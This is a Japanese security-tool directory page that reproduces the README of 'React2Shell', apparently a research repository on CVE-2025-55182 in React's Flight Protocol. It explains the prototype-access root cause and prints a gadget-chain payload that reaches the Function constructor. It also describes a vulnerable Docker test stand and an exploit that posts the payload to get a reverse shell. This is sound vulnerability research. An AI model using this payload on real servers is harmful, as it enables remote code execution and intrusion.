Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
React2Shell — CVE-2025-55182に関する私の研究 | Kitploit
ツール/GitHubGitHub/i3r1h0n/react2shell
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubi3r1h0n/react2shell

React2Shell

CVE-2025-55182に関する私の研究

リポジトリを見る
8ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

React2Shell (CVE-2025-55182)

概要

このリポジトリは、CVE-2025-55182(別名 React2Shell 脆弱性)に関する私の研究です。リポジトリは stand と exploit の2つの主要部分で構成されています。

参考情報

このセキュリティ欠陥に関する情報:

  • NIST
  • HackerOne の記事
  • Vercel による概要
  • WIZ の記事
  • 作者のWebページ
  • オリジナルのPoC

根本原因

脆弱性の根本原因は基本的にユーザー入力の検証不足です。しかし、そんなに単純ではありません =)

React Client と React Server は React Flight Protocol (RFP) を使用してデータを交換します。これについての良い講演がありますので、すぐに理解できるでしょう。

React Flight Protocol のメッセージチャンクの例:

root@kitploit:~
{
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

RFP のチャンクは $ 演算子を使用して相互に参照できます。後でサーバー上でチャンクがデシリアライズされる際に、これらのリンクが解決されます。ここで重要なのは、そこからオブジェクトのプロトタイプにアクセスできることです。

プロトタイプを操作することで、V8 に .then() を待機させることができます。結果のペイロードは次のようになります:

root@kitploit:~
{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

このガジェットチェーンが実際にどのように動作するかの詳細には深く立ち入りません。もっと知りたい場合は、Moritz Sanft による素晴らしい分析こちら を読んでください。

この欠陥についてさらに深く掘り下げたい場合は、パッチ前後のGitHubバージョン比較 もご覧ください。

Stand

シンプルな React/Next.js アプリを作成しました(stand/package.json を参照):

root@kitploit:~
"dependencies": {
  "next": "16.0.6",
  "react": "19.2.0",
  "react-dom": "19.2.0"
},

create-next-app で作成した、テキストコンテンツのみのシンプルなページです:

起動するには、stand ディレクトリで次を実行します:

root@kitploit:~
docker compose up --build -d

ブラウザで http://localhost:3000 にアクセスしてください。

Exploit

エクスプロイトは簡単です。特別に構築した RFP チャンクにペイロードを乗せて、POST リクエストでサーバーに送信するだけです。exploit/src/main.py を参照してください。また、サーバーが脆弱かどうかを確認する簡単なチェックも含まれています。whoami コマンドを実行し、タイムアウトが発生した場合は、おそらくパッチ適用済みバージョンを使用しているサーバーです。

RFP ペイロードは exploit/resource/chunk.json にあります。

エクスプロイトを実行する前に、リバースシェルを取得するために netcat リスナーをセットアップし、exploit/resource/config.toml に自分のホストとポートを更新することを忘れないでください。

ハッキングをお楽しみください!

クレジット

脆弱性を発見した Lachlan Davidson 氏、優れたガジェットを見つけた maple 氏、そして PoC を公開し素晴らしい分析を書いた Moritz Sanft 氏に多大なる敬意を表します。

prod by I3r1h0n.

ツールをダウンロード